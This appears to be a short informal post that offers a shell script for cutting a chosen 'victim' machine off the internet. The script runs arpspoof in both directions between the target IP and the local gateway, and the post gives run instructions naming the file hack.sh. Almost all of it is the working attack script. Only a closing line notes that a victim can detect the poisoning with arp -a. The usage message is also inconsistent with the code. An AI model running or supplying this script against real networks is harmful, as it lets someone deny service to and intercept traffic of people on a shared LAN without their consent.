Shell script to block any ip to access internet

#### Start of Shell Script let block.sh ##########
#### Here i assumed gateway is 192.168.1.1 #########
#### U can change it according ur network #########

#### To know ur gateway use arp -a command #########

gateway="192.168.1.1"

target=$1

echo $target

echo $1

if [ $# -ne 1 ]

then

echo "Error in $0 - Enter victim ip address"

echo "Syntax: $0 input_file output_file"

exit

fi

nohup arpspoof -i eth1 -t $target $gateway >/dev/null &

arpspoof -i eth1 -t $gateway $target >/dev/null

####### nohup command is used to run command as like daemon########
####### End of Code ########

To run the shell script..


#chmod +x hack.sh

(Go to directory where this script is available. here 192.168.1.100 is victim ip address)

#./hack.sh 192.168.1.100



Finally something For Victim
Type

arp -a

It will show ur routing table through which u can easily detect the Hacker